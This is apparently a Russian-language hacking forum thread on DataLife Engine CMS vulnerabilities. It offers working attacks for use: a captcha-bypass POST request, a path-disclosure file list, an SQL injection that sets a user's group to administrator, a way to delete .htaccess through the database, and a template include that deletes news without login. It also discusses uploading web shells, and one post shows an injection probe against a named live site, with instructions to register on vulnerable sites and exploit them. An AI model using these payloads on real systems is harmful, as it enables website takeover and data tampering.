Криптостойкость ключа 14^34 = 929722225368296217729286886758826377216 вариантов для перебора До PHP: $salt = "abchefghjkmnpqrstuvwxyz0123456789"; srand( ( double ) microtime() * 1000000 ); for($i = 0; $i < 15; $i ++) { $rand_lost .= $salt{rand( 0, 33 )}; } $lostid = sha1( md5( $lostname . $lostmail ) . time() . $rand_lost ); После PHP: if(function_exists('openssl_random_pseudo_bytes')) { $stronghash = md5(openssl_random_pseudo_bytes(15)); } else $stronghash = md5(uniqid( mt_rand(), TRUE )); $salt = sha1( str_shuffle("abchefghjkmnpqrstuvwxyz0123456789".$lostpass.$stronghash) . microtime() ); $rand_lost = ''; for($i = 0; $i < 15; $i ++) { $rand_lost .= $salt{mt_rand( 0, 39 )}; } $lostid = sha1( md5( $lostname . $lostmail ) . time() . $rand_lost );
можно загрузить свою картинку, все что после "image=" идет в код Code: <script language='javascript'> document.write( "<img src='ВОТ СЮДА' border=0>" ); </script> как можно использовать? были идеи в jpg записать php код, но как его запустить? цель всего этого: загрузить новый .htaccess
а какой смысл загружать новый .htaccess если можно записать любой php код ?? Даже если ДЛЕ 9.0+ все равно можно залить шелл в основную папку или туда тоже нельзя? В крайнем случае тогда можно заменить фразу Disallow на Allow в .htaccess UPD: не так понял написанное, сорр мой фэйл.
DLE 0day Captcha bypass Обходим стандартную каптчу на последних версиях скрипта (в т.ч. 9.7) на примере регистрации Code: POST /?do=register dle_rules_accept=yes set_direction_sort=1 dledirection=desc set_new_sort=sec_code_session dlenewssortby=date sec_code=date name=name [email protected] password1=pass password2=pass submit_reg=register PoC Стандартный генератор каптчи записывает значение секретного кода в сессию: engine/modules/antibot.php PHP: $im = new genrandomimage(); $im->genstring(); $_SESSION['sec_code_session'] = $im->keystring; А в файле engine/init.php есть код определения порядка сортировки: PHP: if (isset ( $_POST['set_new_sort'] ) and $config['allow_change_sort']) { $allowed_sort = array ( 'date', 'rating', 'news_read', 'comm_num', 'title' ); $find_sort = str_replace ( ".", "", totranslit ( $_POST['set_new_sort'] ) ); $direction_sort = str_replace ( ".", "", totranslit ( $_POST['set_direction_sort'] ) ); if (in_array ( $_POST['dlenewssortby'], $allowed_sort )) { if ($_POST['dledirection'] == "desc" or $_POST['dledirection'] == "asc") { $_SESSION[$find_sort] = $_POST['dlenewssortby']; $_SESSION[$direction_sort] = $_POST['dledirection']; $_SESSION['dle_no_cache'] = "1"; } } } он позволяет записать одно из фиксированных значение в произвольное поле сессии. Подставляем одно из возможных значение в поле sec_code_session и передаем его же вместо кода проверки (c) SecondLife
Path disclousure Path disclousure версия 9.7 и ниже Файлы: Code: /engine/ajax/allvotes.php /engine/ajax/antivirus.php /engine/ajax/complaint.php /engine/ajax/deletecomments.php /engine/ajax/editcomments.php /engine/ajax/editnews.php /engine/ajax/find_relates.php /engine/ajax/message.php /engine/ajax/newsletter.php /engine/ajax/poll.php /engine/ajax/search.php /engine/ajax/typograf.php /engine/ajax/adminfunction.php /engine/ajax/clean.php /engine/ajax/rebuild.php /engine/ajax/rss.php /engine/ajax/sitemap.php /engine/ajax/templates.php /engine/ajax/upload.php запрос: Code: POST %file% login= (c) SecondLife
SQL injection 0day SQL injection 0day и получение админки для 9.7 и младше Requirements: Code: [COLOR=Green]user account[/COLOR] register_globals [COLOR=Red]on[/COLOR] magic_quotes_gpc [COLOR=Red]off[/COLOR] Файл - максимальная версия скрипта Code: /engine/ajax/adminfunction.php [COLOR=Red]9.6[/COLOR] /engine/ajax/allvotes.php [COLOR=Green]9.7[/COLOR] /engine/ajax/antivirus.php [COLOR=Green]9.7[/COLOR] /engine/ajax/clean.php [COLOR=Green]9.7[/COLOR] /engine/ajax/complaint.php [COLOR=Red]9.6[/COLOR] /engine/ajax/deletecomments.php [COLOR=Green]9.7[/COLOR] /engine/ajax/find_relates.php [COLOR=Green]9.7[/COLOR] /engine/ajax/message.php [COLOR=Green]9.7[/COLOR] /engine/ajax/newsletter.php [COLOR=Green]9.7[/COLOR] /engine/ajax/pm.php [COLOR=Green]9.7[/COLOR] /engine/ajax/poll.php [COLOR=Green]9.7[/COLOR] /engine/ajax/rebuild.php [COLOR=Green]9.7[/COLOR] /engine/ajax/rss.php [COLOR=Green]9.7[/COLOR] /engine/ajax/search.php [COLOR=Green]9.7[/COLOR] /engine/ajax/sitemap.php [COLOR=Green]9.7[/COLOR] /engine/ajax/templates.php [COLOR=Green]9.7[/COLOR] /engine/ajax/typograf.php [COLOR=Green]9.7[/COLOR] /engine/ajax/upload.php [COLOR=Green]9.7[/COLOR] /engine/ajax/vote.php [COLOR=Green]9.7[/COLOR] Request Code: POST %file% _TIME=0', user_group='1 login_name=[COLOR=Green]real_username[/COLOR] login_password=[COLOR=Green]real_password[/COLOR] login=submit PoC Неопределенная переменная $_TIME в некоторых случаях, внедрение кода в UPDATE запрос в файле /engine/modules/sitelogin.php PHP: $db->query( "UPDATE " . USERPREFIX . "_users set hash='" . $hash . "', lastdate='{$_TIME}', logged_ip='" . $_IP . "' WHERE user_id='{$member_id['user_id']}'" ); (c) SecondLife
Ищешь сайт подходящий по требованиям, регаешь там учетку, делаешь POST запрос к любому из файлов в списке и отправляешь необходимый набор полей подставив свой логин и пароль
если есть доступ к БД(phpmyadmin к примеру) заливаешь любой файл с допустимым форматом потом в таблице dle_files меняешь у файла значение onserver на .htaccess и удаляешь файл через админку. Вместо загруженного файла удалится .htaccess Таким же образом можно удалить в принципе любой .htaccess если вписывать типа ../.htaccess Осталось выяснить как залить шеллку в обход PHP: if( stripos ( $serverfile, "php" ) !== false ) die("Hacking attempt!"); if( stripos ( $serverfile, "phtml" ) !== false ) die("Hacking attempt!"); if( stripos ( $serverfile, ".htaccess" ) !== false ) die("Hacking attempt!");
ГЫ: dle-news.ru, админ, celsoft: Главное, не забывать добавить аддслешес, отключая "старую", не нужную... thx
Не знаю, насколько она приватная, если есть в посте годом раньше, но в init.php версии уже 8,0 есть: PHP: if (isset ( $_REQUEST['cstart'] )) $cstart = intval ( $_GET['cstart'] ); else $cstart = 0; а в более новых версиях так же добавили проверку на величину: PHP: if ($cstart > 9000000) { header( "Location: ".str_replace("index.php","",$_SERVER['PHP_SELF']) ); die(); } По первому коду: любые данные (пост, куки или гет), тут же переводятся в целое, а при неудаче - присваивается 0. По второму, думаю понятно..
sql в static.php правда я думаю что малоитересная так как требует global = on magic_quotes_gpc = Off Code: POST http://dl75.ru/index.php?do=rules HTTP/1.0 Host: dl75.ru Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Connection: Close Content-Type: application/x-www-form-urlencoded Content-length: 38 static_result[id]=99999999999'9999999 результат Code: MySQL Error! You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9999999'' at line 1 UPDATE dle_static set views=views+1 where id='99999999999'9999999'
Последняя офф. уязвимость очень жёсткая: переопределение множества переменных возможно через файлы шаблонов. Необходимо иметь возможность редактировать шаблоны Целка опасается за переменные: $file_path $file_name $is_logged $member_id $cat_info $config $user_group $category_id $smartphone_detected $dle_module Их то и можно переопределить в шаблоне, обратившись к тому файлу, в которых они явно не заданы. Но на самом деле, этих переменных гораздо больше, они закрыли лишь явно самые опасные. Пример: Этот простой запрос, без авторизации на сайте удалит новость с id=2 Запрос: http://site.ru/?hash=111&id=2 Изменения в файле: main.tpl: HTML: {include file="engine/modules/deletenews.php?is_logged=1&member_id[user_group]=1&dle_login_hash=111&hash=111"} Дальше всё зависит от вашей фантазии и знания языка. Держись, ДЛЕ
не прошло и 3х лет как эту багу прикрыли)) лежит в РОА как способ заливки шелла из админки PS описывать не буду, кто не учил пхп идут учить PSS slva2000 слепой что ли is_logged и member_id попадает под фильтр, главное что прикрыли способ заливки шелла